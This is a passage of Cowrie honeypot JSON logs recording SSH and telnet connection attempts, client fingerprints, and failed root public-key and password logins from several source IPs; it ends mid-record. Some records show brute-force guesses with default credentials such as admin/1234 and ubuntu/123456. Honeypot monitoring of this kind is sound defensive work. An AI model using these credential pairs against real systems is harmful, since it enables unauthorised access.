{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:3a:3b:64:99:88:ae:fb:a5:65:06:ff:1b:5a:55:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCd/hl+Yq2YYDbCnIc5RhfsxomhRiUjpPYTyPiPO0ICcR2xho4lkdhnUaMqJdvDxq3U6VYyrj3K2F7Yz9Pno5GUO79DlLPQvsMO92awYYyV2jcCLZLYkxvZL4R0hMOi3oR0BhjDYviIZmG3w1Hhycsv0O93nLcvZc7fFkix4nJ0hTUlaS5Ie2kwuUaFlGjRplqg/vtlTD3ocpgEDyx5LZnkC57uoMkuYsxkzbs8I4doEdLzeW118/RUjnFii2GEnKf62hbi2SE0xTIeDgYu2MnncJ+TjBj2QihJlXdu/lh7IkSaGi5xFnYzMaNJvLTXW0f3/aKW4IVrkchHpq05LbDp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:21.106796Z","src_ip":"102.129.186.87","session":"47e9547e3f94","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:ce:fd:63:b6:2d:bd:a4:6c:46:e9:50:7b:9d:3d:bc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICDxQaZnD7LT+L44PdPkQOhX5YJtKLSQmpIKzm8BuLOh","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 8c:ce:fd:63:b6:2d:bd:a4:6c:46:e9:50:7b:9d:3d:bc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:21.234261Z","src_ip":"102.129.186.87","session":"47e9547e3f94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:ce:fd:63:b6:2d:bd:a4:6c:46:e9:50:7b:9d:3d:bc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICDxQaZnD7LT+L44PdPkQOhX5YJtKLSQmpIKzm8BuLOh","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:21.237858Z","src_ip":"102.129.186.87","session":"47e9547e3f94","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:34:d0:58:9d:b7:50:a9:56:c9:eb:42:ca:20:51:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDO90qx3V5EF9et+T17C3ebsCCzQsO6n5UpZr/GHHAjxiWvfgBrNiZrhFrxy+Tf//+iXrYK3FhndZTP24LGbVtiaw8zxtj2es0ccKOu/FfIL0nwW285YKeaKADjscw4ekvqgkQzwhcSlFpE1rRztpINjcT4F8/4QdEIWbQiiIPT0yqnaF1VBai/bJRg+u9y8Gltvw79jieOZpyDna0a2fcbZstvfOsXWT/ANC06P/KqI51W3LoJDSsaxHklXmKGoiK8ljXV2MTTb8N5QwYRPhmxwhy8P5Wz6cE6zKIBDkRK3hMzoLzDo+7nQ+nlpQvfB8pT6B2C9uM96fGX3jxrkODX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:34:d0:58:9d:b7:50:a9:56:c9:eb:42:ca:20:51:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:21.363308Z","src_ip":"102.129.186.87","session":"47e9547e3f94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:34:d0:58:9d:b7:50:a9:56:c9:eb:42:ca:20:51:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDO90qx3V5EF9et+T17C3ebsCCzQsO6n5UpZr/GHHAjxiWvfgBrNiZrhFrxy+Tf//+iXrYK3FhndZTP24LGbVtiaw8zxtj2es0ccKOu/FfIL0nwW285YKeaKADjscw4ekvqgkQzwhcSlFpE1rRztpINjcT4F8/4QdEIWbQiiIPT0yqnaF1VBai/bJRg+u9y8Gltvw79jieOZpyDna0a2fcbZstvfOsXWT/ANC06P/KqI51W3LoJDSsaxHklXmKGoiK8ljXV2MTTb8N5QwYRPhmxwhy8P5Wz6cE6zKIBDkRK3hMzoLzDo+7nQ+nlpQvfB8pT6B2C9uM96fGX3jxrkODX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:21.366971Z","src_ip":"102.129.186.87","session":"47e9547e3f94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:21.492966Z","src_ip":"102.129.186.87","session":"47e9547e3f94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.76226758956909,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:21.651951Z","src_ip":"152.42.224.71","session":"d8853d021ec9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.10733962059021,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:22.830920Z","src_ip":"152.42.224.71","session":"c92f368e6e19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00187349319458,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:23.500613Z","src_ip":"152.42.224.71","session":"1f497343e396","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00431561470032,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:26.350364Z","src_ip":"152.42.224.71","session":"142af441b117","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.21876835823059,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:26.568749Z","src_ip":"152.42.224.71","session":"793c32d084f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38520,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e23263aa08f","protocol":"telnet","message":"New connection: 152.42.224.71:38520 (10.17.0.5:23) [session: 2e23263aa08f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:26.857275Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38530,"dst_ip":"10.17.0.5","dst_port":23,"session":"165fb38c8f15","protocol":"telnet","message":"New connection: 152.42.224.71:38530 (10.17.0.5:23) [session: 165fb38c8f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:26.999651Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":45796,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0ae6e866a76","protocol":"ssh","message":"New connection: 31.40.204.166:45796 (159.203.135.109:22) [session: e0ae6e866a76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:29.880926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:29.886674Z","src_ip":"31.40.204.166","session":"e0ae6e866a76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:30.018201Z","src_ip":"31.40.204.166","session":"e0ae6e866a76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":58686,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce0999a73566","protocol":"ssh","message":"New connection: 47.237.167.49:58686 (159.203.135.109:22) [session: ce0999a73566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:30.284393Z"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:30.606066Z","src_ip":"31.40.204.166","session":"e0ae6e866a76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00180435180664,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:31.630588Z","src_ip":"152.42.224.71","session":"1c2012660bd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:31.784567Z","src_ip":"31.40.204.166","session":"e0ae6e866a76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.01361131668091,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:32.922769Z","src_ip":"152.42.224.71","session":"2f0e2d0a02d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.3941912651062,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:36.843138Z","src_ip":"152.42.224.71","session":"8535df18d9ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42140,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf08c0ccf5fe","protocol":"ssh","message":"New connection: 31.40.204.166:42140 (159.203.135.109:22) [session: bf08c0ccf5fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:41.725767Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:41.729536Z","src_ip":"31.40.204.166","session":"bf08c0ccf5fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:41.886577Z","src_ip":"31.40.204.166","session":"bf08c0ccf5fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:42.411019Z","src_ip":"31.40.204.166","session":"bf08c0ccf5fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:43.584022Z","src_ip":"31.40.204.166","session":"bf08c0ccf5fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.43110799789429,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:45.029057Z","src_ip":"152.42.224.71","session":"6cf94732672f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45974,"dst_ip":"10.17.0.5","dst_port":23,"session":"96c387a1894f","protocol":"telnet","message":"New connection: 152.42.224.71:45974 (10.17.0.5:23) [session: 96c387a1894f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:45.165354Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55182,"dst_ip":"10.17.0.5","dst_port":23,"session":"55db696d42c6","protocol":"telnet","message":"New connection: 152.42.224.71:55182 (10.17.0.5:23) [session: 55db696d42c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:46.348597Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55192,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf7c026a6e00","protocol":"telnet","message":"New connection: 152.42.224.71:55192 (10.17.0.5:23) [session: cf7c026a6e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:52.704421Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58362,"dst_ip":"159.203.135.109","dst_port":22,"session":"c422720a6ee4","protocol":"ssh","message":"New connection: 31.40.204.166:58362 (159.203.135.109:22) [session: c422720a6ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:54.183717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:54.204950Z","src_ip":"31.40.204.166","session":"c422720a6ee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:54.313668Z","src_ip":"31.40.204.166","session":"c422720a6ee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55200,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7acc1b2220d","protocol":"telnet","message":"New connection: 152.42.224.71:55200 (10.17.0.5:23) [session: d7acc1b2220d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:54.988509Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"00000000","message":"login attempt [root/00000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:55.502262Z","src_ip":"31.40.204.166","session":"c422720a6ee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:27:56.687541Z","src_ip":"31.40.204.166","session":"c422720a6ee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.66787338256836,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:00.667398Z","src_ip":"152.42.224.71","session":"165fb38c8f15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":33422,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4d144e8ab91","protocol":"ssh","message":"New connection: 31.40.204.166:33422 (159.203.135.109:22) [session: e4d144e8ab91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:06.183225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:06.198340Z","src_ip":"31.40.204.166","session":"e4d144e8ab91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:06.385274Z","src_ip":"31.40.204.166","session":"e4d144e8ab91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456","message":"login attempt [ubuntu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:07.187066Z","src_ip":"31.40.204.166","session":"e4d144e8ab91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46906,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a0faea218e2","protocol":"telnet","message":"New connection: 152.42.224.71:46906 (10.17.0.5:23) [session: 3a0faea218e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:08.039152Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:08.411082Z","src_ip":"31.40.204.166","session":"e4d144e8ab91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.201709032058716,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:09.058870Z","src_ip":"152.42.224.71","session":"2e23263aa08f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46916,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7e716e6799e","protocol":"telnet","message":"New connection: 152.42.224.71:46916 (10.17.0.5:23) [session: f7e716e6799e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:09.298732Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46920,"dst_ip":"10.17.0.5","dst_port":23,"session":"659fcb605a45","protocol":"telnet","message":"New connection: 152.42.224.71:46920 (10.17.0.5:23) [session: 659fcb605a45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:12.493359Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":41696,"dst_ip":"159.203.135.109","dst_port":22,"session":"6aee77fadf86","protocol":"ssh","message":"New connection: 103.122.221.179:41696 (159.203.135.109:22) [session: 6aee77fadf86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:16.914642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:16.919381Z","src_ip":"103.122.221.179","session":"6aee77fadf86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00171422958374,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:28:16.950074Z","src_ip":"152.42.224.71","session":"df4400fd31a9","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 